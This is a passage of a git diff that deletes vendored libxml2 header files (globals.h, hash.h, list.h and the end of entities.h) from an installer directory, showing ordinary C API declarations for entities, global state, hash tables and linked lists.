*orig; /* content without ref substitution */ - xmlChar *content; /* content or ndata if unparsed */ - int length; /* the content length */ - xmlEntityType etype; /* The entity type */ - const xmlChar *ExternalID; /* External identifier for PUBLIC */ - const xmlChar *SystemID; /* URI for a SYSTEM or PUBLIC Entity */ - - struct _xmlEntity *nexte; /* unused */ - const xmlChar *URI; /* the full URI as computed */ - int owner; /* does the entity own the childrens */ - int checked; /* was the entity content checked */ - /* this is also used to count entities - * references done from that entity - * and if it contains '<' */ -}; - -/* - * All entities are stored in an hash table. - * There is 2 separate hash tables for global and parameter entities. - */ - -typedef struct _xmlHashTable xmlEntitiesTable; -typedef xmlEntitiesTable *xmlEntitiesTablePtr; - -/* - * External functions: - */ - -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN void XMLCALL - xmlInitializePredefinedEntities (void); -#endif /* LIBXML_LEGACY_ENABLED */ - -XMLPUBFUN xmlEntityPtr XMLCALL - xmlNewEntity (xmlDocPtr doc, - const xmlChar *name, - int type, - const xmlChar *ExternalID, - const xmlChar *SystemID, - const xmlChar *content); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlAddDocEntity (xmlDocPtr doc, - const xmlChar *name, - int type, - const xmlChar *ExternalID, - const xmlChar *SystemID, - const xmlChar *content); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlAddDtdEntity (xmlDocPtr doc, - const xmlChar *name, - int type, - const xmlChar *ExternalID, - const xmlChar *SystemID, - const xmlChar *content); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetPredefinedEntity (const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetDocEntity (const xmlDoc *doc, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetDtdEntity (xmlDocPtr doc, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetParameterEntity (xmlDocPtr doc, - const xmlChar *name); -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN const xmlChar * XMLCALL - xmlEncodeEntities (xmlDocPtr doc, - const xmlChar *input); -#endif /* LIBXML_LEGACY_ENABLED */ -XMLPUBFUN xmlChar * XMLCALL - xmlEncodeEntitiesReentrant(xmlDocPtr doc, - const xmlChar *input); -XMLPUBFUN xmlChar * XMLCALL - xmlEncodeSpecialChars (const xmlDoc *doc, - const xmlChar *input); -XMLPUBFUN xmlEntitiesTablePtr XMLCALL - xmlCreateEntitiesTable (void); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlEntitiesTablePtr XMLCALL - xmlCopyEntitiesTable (xmlEntitiesTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeEntitiesTable (xmlEntitiesTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpEntitiesTable (xmlBufferPtr buf, - xmlEntitiesTablePtr table); -XMLPUBFUN void XMLCALL - xmlDumpEntityDecl (xmlBufferPtr buf, - xmlEntityPtr ent); -#endif /* LIBXML_OUTPUT_ENABLED */ -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN void XMLCALL - xmlCleanupPredefinedEntities(void); -#endif /* LIBXML_LEGACY_ENABLED */ - - -#ifdef __cplusplus -} -#endif - -# endif /* __XML_ENTITIES_H__ */ diff --git a/installer/libxml2/include/libxml/globals.h b/installer/libxml2/include/libxml/globals.h deleted file mode 100644 index a9305aa..0000000 --- a/installer/libxml2/include/libxml/globals.h +++ /dev/null @@ -1,509 +0,0 @@ -/* - * Summary: interface for all global variables of the library - * Description: all the global variables and thread handling for - * those variables is handled by this module. - * - * The bottom of this file is automatically generated by build_glob.py - * based on the description file global.data - * - * Copy: See Copyright for the status of this software. - * - * Author: Gary Pennington , Daniel Veillard - */ - -#ifndef __XML_GLOBALS_H -#define __XML_GLOBALS_H - -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -XMLPUBFUN void XMLCALL xmlInitGlobals(void); -XMLPUBFUN void XMLCALL xmlCleanupGlobals(void); - -/** - * xmlParserInputBufferCreateFilenameFunc: - * @URI: the URI to read from - * @enc: the requested source encoding - * - * Signature for the function doing the lookup for a suitable input method - * corresponding to an URI. - * - * Returns the new xmlParserInputBufferPtr in case of success or NULL if no - * method was found. - */ -typedef xmlParserInputBufferPtr (*xmlParserInputBufferCreateFilenameFunc) (const char *URI, - xmlCharEncoding enc); - - -/** - * xmlOutputBufferCreateFilenameFunc: - * @URI: the URI to write to - * @enc: the requested target encoding - * - * Signature for the function doing the lookup for a suitable output method - * corresponding to an URI. - * - * Returns the new xmlOutputBufferPtr in case of success or NULL if no - * method was found. - */ -typedef xmlOutputBufferPtr (*xmlOutputBufferCreateFilenameFunc) (const char *URI, - xmlCharEncodingHandlerPtr encoder, - int compression); - -XMLPUBFUN xmlParserInputBufferCreateFilenameFunc -XMLCALL xmlParserInputBufferCreateFilenameDefault (xmlParserInputBufferCreateFilenameFunc func); -XMLPUBFUN xmlOutputBufferCreateFilenameFunc -XMLCALL xmlOutputBufferCreateFilenameDefault (xmlOutputBufferCreateFilenameFunc func); - -/* - * Externally global symbols which need to be protected for backwards - * compatibility support. - */ - -#undef docbDefaultSAXHandler -#undef htmlDefaultSAXHandler -#undef oldXMLWDcompatibility -#undef xmlBufferAllocScheme -#undef xmlDefaultBufferSize -#undef xmlDefaultSAXHandler -#undef xmlDefaultSAXLocator -#undef xmlDoValidityCheckingDefaultValue -#undef xmlFree -#undef xmlGenericError -#undef xmlStructuredError -#undef xmlGenericErrorContext -#undef xmlStructuredErrorContext -#undef xmlGetWarningsDefaultValue -#undef xmlIndentTreeOutput -#undef xmlTreeIndentString -#undef xmlKeepBlanksDefaultValue -#undef xmlLineNumbersDefaultValue -#undef xmlLoadExtDtdDefaultValue -#undef xmlMalloc -#undef xmlMallocAtomic -#undef xmlMemStrdup -#undef xmlParserDebugEntities -#undef xmlParserVersion -#undef xmlPedanticParserDefaultValue -#undef xmlRealloc -#undef xmlSaveNoEmptyTags -#undef xmlSubstituteEntitiesDefaultValue -#undef xmlRegisterNodeDefaultValue -#undef xmlDeregisterNodeDefaultValue -#undef xmlLastError -#undef xmlParserInputBufferCreateFilenameValue -#undef xmlOutputBufferCreateFilenameValue - -/** - * xmlRegisterNodeFunc: - * @node: the current node - * - * Signature for the registration callback of a created node - */ -typedef void (*xmlRegisterNodeFunc) (xmlNodePtr node); -/** - * xmlDeregisterNodeFunc: - * @node: the current node - * - * Signature for the deregistration callback of a discarded node - */ -typedef void (*xmlDeregisterNodeFunc) (xmlNodePtr node); - -typedef struct _xmlGlobalState xmlGlobalState; -typedef xmlGlobalState *xmlGlobalStatePtr; -struct _xmlGlobalState -{ - const char *xmlParserVersion; - - xmlSAXLocator xmlDefaultSAXLocator; - xmlSAXHandlerV1 xmlDefaultSAXHandler; - xmlSAXHandlerV1 docbDefaultSAXHandler; - xmlSAXHandlerV1 htmlDefaultSAXHandler; - - xmlFreeFunc xmlFree; - xmlMallocFunc xmlMalloc; - xmlStrdupFunc xmlMemStrdup; - xmlReallocFunc xmlRealloc; - - xmlGenericErrorFunc xmlGenericError; - xmlStructuredErrorFunc xmlStructuredError; - void *xmlGenericErrorContext; - - int oldXMLWDcompatibility; - - xmlBufferAllocationScheme xmlBufferAllocScheme; - int xmlDefaultBufferSize; - - int xmlSubstituteEntitiesDefaultValue; - int xmlDoValidityCheckingDefaultValue; - int xmlGetWarningsDefaultValue; - int xmlKeepBlanksDefaultValue; - int xmlLineNumbersDefaultValue; - int xmlLoadExtDtdDefaultValue; - int xmlParserDebugEntities; - int xmlPedanticParserDefaultValue; - - int xmlSaveNoEmptyTags; - int xmlIndentTreeOutput; - const char *xmlTreeIndentString; - - xmlRegisterNodeFunc xmlRegisterNodeDefaultValue; - xmlDeregisterNodeFunc xmlDeregisterNodeDefaultValue; - - xmlMallocFunc xmlMallocAtomic; - xmlError xmlLastError; - - xmlParserInputBufferCreateFilenameFunc xmlParserInputBufferCreateFilenameValue; - xmlOutputBufferCreateFilenameFunc xmlOutputBufferCreateFilenameValue; - - void *xmlStructuredErrorContext; -}; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif - -XMLPUBFUN void XMLCALL xmlInitializeGlobalState(xmlGlobalStatePtr gs); - -XMLPUBFUN void XMLCALL xmlThrDefSetGenericErrorFunc(void *ctx, xmlGenericErrorFunc handler); - -XMLPUBFUN void XMLCALL xmlThrDefSetStructuredErrorFunc(void *ctx, xmlStructuredErrorFunc handler); - -XMLPUBFUN xmlRegisterNodeFunc XMLCALL xmlRegisterNodeDefault(xmlRegisterNodeFunc func); -XMLPUBFUN xmlRegisterNodeFunc XMLCALL xmlThrDefRegisterNodeDefault(xmlRegisterNodeFunc func); -XMLPUBFUN xmlDeregisterNodeFunc XMLCALL xmlDeregisterNodeDefault(xmlDeregisterNodeFunc func); -XMLPUBFUN xmlDeregisterNodeFunc XMLCALL xmlThrDefDeregisterNodeDefault(xmlDeregisterNodeFunc func); - -XMLPUBFUN xmlOutputBufferCreateFilenameFunc XMLCALL - xmlThrDefOutputBufferCreateFilenameDefault(xmlOutputBufferCreateFilenameFunc func); -XMLPUBFUN xmlParserInputBufferCreateFilenameFunc XMLCALL - xmlThrDefParserInputBufferCreateFilenameDefault( - xmlParserInputBufferCreateFilenameFunc func); - -/** DOC_DISABLE */ -/* - * In general the memory allocation entry points are not kept - * thread specific but this can be overridden by LIBXML_THREAD_ALLOC_ENABLED - * - xmlMalloc - * - xmlMallocAtomic - * - xmlRealloc - * - xmlMemStrdup - * - xmlFree - */ - -#ifdef LIBXML_THREAD_ALLOC_ENABLED -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlMallocFunc * XMLCALL __xmlMalloc(void); -#define xmlMalloc \ -(*(__xmlMalloc())) -#else -XMLPUBVAR xmlMallocFunc xmlMalloc; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlMallocFunc * XMLCALL __xmlMallocAtomic(void); -#define xmlMallocAtomic \ -(*(__xmlMallocAtomic())) -#else -XMLPUBVAR xmlMallocFunc xmlMallocAtomic; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlReallocFunc * XMLCALL __xmlRealloc(void); -#define xmlRealloc \ -(*(__xmlRealloc())) -#else -XMLPUBVAR xmlReallocFunc xmlRealloc; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlFreeFunc * XMLCALL __xmlFree(void); -#define xmlFree \ -(*(__xmlFree())) -#else -XMLPUBVAR xmlFreeFunc xmlFree; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlStrdupFunc * XMLCALL __xmlMemStrdup(void); -#define xmlMemStrdup \ -(*(__xmlMemStrdup())) -#else -XMLPUBVAR xmlStrdupFunc xmlMemStrdup; -#endif - -#else /* !LIBXML_THREAD_ALLOC_ENABLED */ -XMLPUBVAR xmlMallocFunc xmlMalloc; -XMLPUBVAR xmlMallocFunc xmlMallocAtomic; -XMLPUBVAR xmlReallocFunc xmlRealloc; -XMLPUBVAR xmlFreeFunc xmlFree; -XMLPUBVAR xmlStrdupFunc xmlMemStrdup; -#endif /* LIBXML_THREAD_ALLOC_ENABLED */ - -#ifdef LIBXML_DOCB_ENABLED -XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __docbDefaultSAXHandler(void); -#ifdef LIBXML_THREAD_ENABLED -#define docbDefaultSAXHandler \ -(*(__docbDefaultSAXHandler())) -#else -XMLPUBVAR xmlSAXHandlerV1 docbDefaultSAXHandler; -#endif -#endif - -#ifdef LIBXML_HTML_ENABLED -XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __htmlDefaultSAXHandler(void); -#ifdef LIBXML_THREAD_ENABLED -#define htmlDefaultSAXHandler \ -(*(__htmlDefaultSAXHandler())) -#else -XMLPUBVAR xmlSAXHandlerV1 htmlDefaultSAXHandler; -#endif -#endif - -XMLPUBFUN xmlError * XMLCALL __xmlLastError(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlLastError \ -(*(__xmlLastError())) -#else -XMLPUBVAR xmlError xmlLastError; -#endif - -/* - * Everything starting from the line below is - * Automatically generated by build_glob.py. - * Do not modify the previous line. - */ - - -XMLPUBFUN int * XMLCALL __oldXMLWDcompatibility(void); -#ifdef LIBXML_THREAD_ENABLED -#define oldXMLWDcompatibility \ -(*(__oldXMLWDcompatibility())) -#else -XMLPUBVAR int oldXMLWDcompatibility; -#endif - -XMLPUBFUN xmlBufferAllocationScheme * XMLCALL __xmlBufferAllocScheme(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlBufferAllocScheme \ -(*(__xmlBufferAllocScheme())) -#else -XMLPUBVAR xmlBufferAllocationScheme xmlBufferAllocScheme; -#endif -XMLPUBFUN xmlBufferAllocationScheme XMLCALL - xmlThrDefBufferAllocScheme(xmlBufferAllocationScheme v); - -XMLPUBFUN int * XMLCALL __xmlDefaultBufferSize(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDefaultBufferSize \ -(*(__xmlDefaultBufferSize())) -#else -XMLPUBVAR int xmlDefaultBufferSize; -#endif -XMLPUBFUN int XMLCALL xmlThrDefDefaultBufferSize(int v); - -XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __xmlDefaultSAXHandler(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDefaultSAXHandler \ -(*(__xmlDefaultSAXHandler())) -#else -XMLPUBVAR xmlSAXHandlerV1 xmlDefaultSAXHandler; -#endif - -XMLPUBFUN xmlSAXLocator * XMLCALL __xmlDefaultSAXLocator(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDefaultSAXLocator \ -(*(__xmlDefaultSAXLocator())) -#else -XMLPUBVAR xmlSAXLocator xmlDefaultSAXLocator; -#endif - -XMLPUBFUN int * XMLCALL __xmlDoValidityCheckingDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDoValidityCheckingDefaultValue \ -(*(__xmlDoValidityCheckingDefaultValue())) -#else -XMLPUBVAR int xmlDoValidityCheckingDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefDoValidityCheckingDefaultValue(int v); - -XMLPUBFUN xmlGenericErrorFunc * XMLCALL __xmlGenericError(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlGenericError \ -(*(__xmlGenericError())) -#else -XMLPUBVAR xmlGenericErrorFunc xmlGenericError; -#endif - -XMLPUBFUN xmlStructuredErrorFunc * XMLCALL __xmlStructuredError(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlStructuredError \ -(*(__xmlStructuredError())) -#else -XMLPUBVAR xmlStructuredErrorFunc xmlStructuredError; -#endif - -XMLPUBFUN void * * XMLCALL __xmlGenericErrorContext(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlGenericErrorContext \ -(*(__xmlGenericErrorContext())) -#else -XMLPUBVAR void * xmlGenericErrorContext; -#endif - -XMLPUBFUN void * * XMLCALL __xmlStructuredErrorContext(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlStructuredErrorContext \ -(*(__xmlStructuredErrorContext())) -#else -XMLPUBVAR void * xmlStructuredErrorContext; -#endif - -XMLPUBFUN int * XMLCALL __xmlGetWarningsDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlGetWarningsDefaultValue \ -(*(__xmlGetWarningsDefaultValue())) -#else -XMLPUBVAR int xmlGetWarningsDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefGetWarningsDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlIndentTreeOutput(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlIndentTreeOutput \ -(*(__xmlIndentTreeOutput())) -#else -XMLPUBVAR int xmlIndentTreeOutput; -#endif -XMLPUBFUN int XMLCALL xmlThrDefIndentTreeOutput(int v); - -XMLPUBFUN const char * * XMLCALL __xmlTreeIndentString(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlTreeIndentString \ -(*(__xmlTreeIndentString())) -#else -XMLPUBVAR const char * xmlTreeIndentString; -#endif -XMLPUBFUN const char * XMLCALL xmlThrDefTreeIndentString(const char * v); - -XMLPUBFUN int * XMLCALL __xmlKeepBlanksDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlKeepBlanksDefaultValue \ -(*(__xmlKeepBlanksDefaultValue())) -#else -XMLPUBVAR int xmlKeepBlanksDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefKeepBlanksDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlLineNumbersDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlLineNumbersDefaultValue \ -(*(__xmlLineNumbersDefaultValue())) -#else -XMLPUBVAR int xmlLineNumbersDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefLineNumbersDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlLoadExtDtdDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlLoadExtDtdDefaultValue \ -(*(__xmlLoadExtDtdDefaultValue())) -#else -XMLPUBVAR int xmlLoadExtDtdDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefLoadExtDtdDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlParserDebugEntities(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlParserDebugEntities \ -(*(__xmlParserDebugEntities())) -#else -XMLPUBVAR int xmlParserDebugEntities; -#endif -XMLPUBFUN int XMLCALL xmlThrDefParserDebugEntities(int v); - -XMLPUBFUN const char * * XMLCALL __xmlParserVersion(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlParserVersion \ -(*(__xmlParserVersion())) -#else -XMLPUBVAR const char * xmlParserVersion; -#endif - -XMLPUBFUN int * XMLCALL __xmlPedanticParserDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlPedanticParserDefaultValue \ -(*(__xmlPedanticParserDefaultValue())) -#else -XMLPUBVAR int xmlPedanticParserDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefPedanticParserDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlSaveNoEmptyTags(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlSaveNoEmptyTags \ -(*(__xmlSaveNoEmptyTags())) -#else -XMLPUBVAR int xmlSaveNoEmptyTags; -#endif -XMLPUBFUN int XMLCALL xmlThrDefSaveNoEmptyTags(int v); - -XMLPUBFUN int * XMLCALL __xmlSubstituteEntitiesDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlSubstituteEntitiesDefaultValue \ -(*(__xmlSubstituteEntitiesDefaultValue())) -#else -XMLPUBVAR int xmlSubstituteEntitiesDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefSubstituteEntitiesDefaultValue(int v); - -XMLPUBFUN xmlRegisterNodeFunc * XMLCALL __xmlRegisterNodeDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlRegisterNodeDefaultValue \ -(*(__xmlRegisterNodeDefaultValue())) -#else -XMLPUBVAR xmlRegisterNodeFunc xmlRegisterNodeDefaultValue; -#endif - -XMLPUBFUN xmlDeregisterNodeFunc * XMLCALL __xmlDeregisterNodeDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDeregisterNodeDefaultValue \ -(*(__xmlDeregisterNodeDefaultValue())) -#else -XMLPUBVAR xmlDeregisterNodeFunc xmlDeregisterNodeDefaultValue; -#endif - -XMLPUBFUN xmlParserInputBufferCreateFilenameFunc * XMLCALL \ - __xmlParserInputBufferCreateFilenameValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlParserInputBufferCreateFilenameValue \ -(*(__xmlParserInputBufferCreateFilenameValue())) -#else -XMLPUBVAR xmlParserInputBufferCreateFilenameFunc xmlParserInputBufferCreateFilenameValue; -#endif - -XMLPUBFUN xmlOutputBufferCreateFilenameFunc * XMLCALL __xmlOutputBufferCreateFilenameValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlOutputBufferCreateFilenameValue \ -(*(__xmlOutputBufferCreateFilenameValue())) -#else -XMLPUBVAR xmlOutputBufferCreateFilenameFunc xmlOutputBufferCreateFilenameValue; -#endif - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_GLOBALS_H */ diff --git a/installer/libxml2/include/libxml/hash.h b/installer/libxml2/include/libxml/hash.h deleted file mode 100644 index dc8ab7e..0000000 --- a/installer/libxml2/include/libxml/hash.h +++ /dev/null @@ -1,233 +0,0 @@ -/* - * Summary: Chained hash tables - * Description: This module implements the hash table support used in - * various places in the library. - * - * Copy: See Copyright for the status of this software. - * - * Author: Bjorn Reese - */ - -#ifndef __XML_HASH_H__ -#define __XML_HASH_H__ - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The hash table. - */ -typedef struct _xmlHashTable xmlHashTable; -typedef xmlHashTable *xmlHashTablePtr; - -#ifdef __cplusplus -} -#endif - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Recent version of gcc produce a warning when a function pointer is assigned - * to an object pointer, or vice versa. The following macro is a dirty hack - * to allow suppression of the warning. If your architecture has function - * pointers which are a different size than a void pointer, there may be some - * serious trouble within the library. - */ -/** - * XML_CAST_FPTR: - * @fptr: pointer to a function - * - * Macro to do a casting from an object pointer to a - * function pointer without encountering a warning from - * gcc - * - * #define XML_CAST_FPTR(fptr) (*(void **)(&fptr)) - * This macro violated ISO C aliasing rules (gcc4 on s390 broke) - * so it is disabled now - */ - -#define XML_CAST_FPTR(fptr) fptr - - -/* - * function types: - */ -/** - * xmlHashDeallocator: - * @payload: the data in the hash - * @name: the name associated - * - * Callback to free data from a hash. - */ -typedef void (*xmlHashDeallocator)(void *payload, xmlChar *name); -/** - * xmlHashCopier: - * @payload: the data in the hash - * @name: the name associated - * - * Callback to copy data from a hash. - * - * Returns a copy of the data or NULL in case of error. - */ -typedef void *(*xmlHashCopier)(void *payload, xmlChar *name); -/** - * xmlHashScanner: - * @payload: the data in the hash - * @data: extra scannner data - * @name: the name associated - * - * Callback when scanning data in a hash with the simple scanner. - */ -typedef void (*xmlHashScanner)(void *payload, void *data, xmlChar *name); -/** - * xmlHashScannerFull: - * @payload: the data in the hash - * @data: extra scannner data - * @name: the name associated - * @name2: the second name associated - * @name3: the third name associated - * - * Callback when scanning data in a hash with the full scanner. - */ -typedef void (*xmlHashScannerFull)(void *payload, void *data, - const xmlChar *name, const xmlChar *name2, - const xmlChar *name3); - -/* - * Constructor and destructor. - */ -XMLPUBFUN xmlHashTablePtr XMLCALL - xmlHashCreate (int size); -XMLPUBFUN xmlHashTablePtr XMLCALL - xmlHashCreateDict(int size, - xmlDictPtr dict); -XMLPUBFUN void XMLCALL - xmlHashFree (xmlHashTablePtr table, - xmlHashDeallocator f); - -/* - * Add a new entry to the hash table. - */ -XMLPUBFUN int XMLCALL - xmlHashAddEntry (xmlHashTablePtr table, - const xmlChar *name, - void *userdata); -XMLPUBFUN int XMLCALL - xmlHashUpdateEntry(xmlHashTablePtr table, - const xmlChar *name, - void *userdata, - xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashAddEntry2(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - void *userdata); -XMLPUBFUN int XMLCALL - xmlHashUpdateEntry2(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - void *userdata, - xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashAddEntry3(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - void *userdata); -XMLPUBFUN int XMLCALL - xmlHashUpdateEntry3(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - void *userdata, - xmlHashDeallocator f); - -/* - * Remove an entry from the hash table. - */ -XMLPUBFUN int XMLCALL - xmlHashRemoveEntry(xmlHashTablePtr table, const xmlChar *name, - xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashRemoveEntry2(xmlHashTablePtr table, const xmlChar *name, - const xmlChar *name2, xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashRemoveEntry3(xmlHashTablePtr table, const xmlChar *name, - const xmlChar *name2, const xmlChar *name3, - xmlHashDeallocator f); - -/* - * Retrieve the userdata. - */ -XMLPUBFUN void * XMLCALL - xmlHashLookup (xmlHashTablePtr table, - const xmlChar *name); -XMLPUBFUN void * XMLCALL - xmlHashLookup2 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2); -XMLPUBFUN void * XMLCALL - xmlHashLookup3 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3); -XMLPUBFUN void * XMLCALL - xmlHashQLookup (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *prefix); -XMLPUBFUN void * XMLCALL - xmlHashQLookup2 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *prefix, - const xmlChar *name2, - const xmlChar *prefix2); -XMLPUBFUN void * XMLCALL - xmlHashQLookup3 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *prefix, - const xmlChar *name2, - const xmlChar *prefix2, - const xmlChar *name3, - const xmlChar *prefix3); - -/* - * Helpers. - */ -XMLPUBFUN xmlHashTablePtr XMLCALL - xmlHashCopy (xmlHashTablePtr table, - xmlHashCopier f); -XMLPUBFUN int XMLCALL - xmlHashSize (xmlHashTablePtr table); -XMLPUBFUN void XMLCALL - xmlHashScan (xmlHashTablePtr table, - xmlHashScanner f, - void *data); -XMLPUBFUN void XMLCALL - xmlHashScan3 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - xmlHashScanner f, - void *data); -XMLPUBFUN void XMLCALL - xmlHashScanFull (xmlHashTablePtr table, - xmlHashScannerFull f, - void *data); -XMLPUBFUN void XMLCALL - xmlHashScanFull3(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - xmlHashScannerFull f, - void *data); -#ifdef __cplusplus -} -#endif -#endif /* ! __XML_HASH_H__ */ diff --git a/installer/libxml2/include/libxml/list.h b/installer/libxml2/include/libxml/list.h deleted file mode 100644 index 0504e0c..0000000 --- a/installer/libxml2/include/libxml/list.h +++ /dev/null @@ -1,137 +0,0 @@ -/* - * Summary: lists interfaces - * Description: this module implement the list support used in - * various place in the library. - * - * Copy: See Copyright for the status of this software. - * - * Author: Gary Pennington - */ - -#ifndef __XML_LINK_INCLUDE__ -#define __XML_LINK_INCLUDE__ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _xmlLink xmlLink; -typedef xmlLink *xmlLinkPtr; - -typedef struct _xmlList xmlList; -typedef xmlList *xmlListPtr; - -/** - * xmlListDeallocator: - * @lk: the data to deallocate - * - * Callback function used to free data from a list. - */ -typedef void (*xmlListDeallocator) (xmlLinkPtr lk); -/** - * xmlListDataCompare: - * @data0: the first data - * @data1: the second data - * - * Callback function used to compare 2 data. - * - * Returns 0 is equality, -1 or 1 otherwise depending on the ordering. - */ -typedef int (*xmlListDataCompare) (const void *data0, const void *data1); -/** - * xmlListWalker: - * @data: the data found in the list - * @user: extra user provided data to the walker - * - * Callback function used when walking a list with xmlListWalk(). - * - * Returns 0 to stop walking the list, 1 otherwise. - */ -typedef int (*xmlListWalker) (const void *data, const void *user); - -/* Creation/Deletion */ -XMLPUBFUN xmlListPtr XMLCALL - xmlListCreate (xmlListDeallocator deallocator, - xmlListDataCompare compare); -XMLPUBFUN void XMLCALL - xmlListDelete (xmlListPtr l); - -/* Basic Operators */ -XMLPUBFUN void * XMLCALL - xmlListSearch (xmlListPtr l, - void *data); -XMLPUBFUN void * XMLCALL - xmlListReverseSearch (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListInsert (xmlListPtr l, - void *data) ; -XMLPUBFUN int XMLCALL - xmlListAppend (xmlListPtr l, - void *data) ; -XMLPUBFUN int XMLCALL - xmlListRemoveFirst (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListRemoveLast (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListRemoveAll (xmlListPtr l, - void *data); -XMLPUBFUN void XMLCALL - xmlListClear (xmlListPtr l); -XMLPUBFUN int XMLCALL - xmlListEmpty (xmlListPtr l); -XMLPUBFUN xmlLinkPtr XMLCALL - xmlListFront (xmlListPtr l); -XMLPUBFUN xmlLinkPtr XMLCALL - xmlListEnd (xmlListPtr l); -XMLPUBFUN int XMLCALL - xmlListSize (xmlListPtr l); - -XMLPUBFUN void XMLCALL - xmlListPopFront (xmlListPtr l); -XMLPUBFUN void XMLCALL - xmlListPopBack (xmlListPtr l); -XMLPUBFUN int XMLCALL - xmlListPushFront (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListPushBack (xmlListPtr l, - void *data); - -/* Advanced Operators */ -XMLPUBFUN void XMLCALL - xmlListReverse (xmlListPtr l); -XMLPUBFUN void XMLCALL - xmlListSort (xmlListPtr l); -XMLPUBFUN void XMLCALL - xmlListWalk (xmlListPtr l, - xmlListWalker walker, - const void *user); -XMLPUBFUN void XMLCALL - xmlListReverseWalk (xmlListPtr l, - xmlListWalker walker, - const void *user); -XMLPUBFUN void XMLCALL - xmlListMerge (xmlListPtr l1, - xmlListPtr l2); -XMLPUBFUN xmlListPtr XMLCALL - xmlListDup (const xmlListPtr old); -XMLPUBFUN int XMLCALL - xmlListCopy (xmlListPtr cur, - const xmlListPtr old); -/* Link operators */ -XMLPUBFUN void * XMLCALL - xmlLinkGetData (xmlLinkPtr lk); - -/* xmlListUnique() 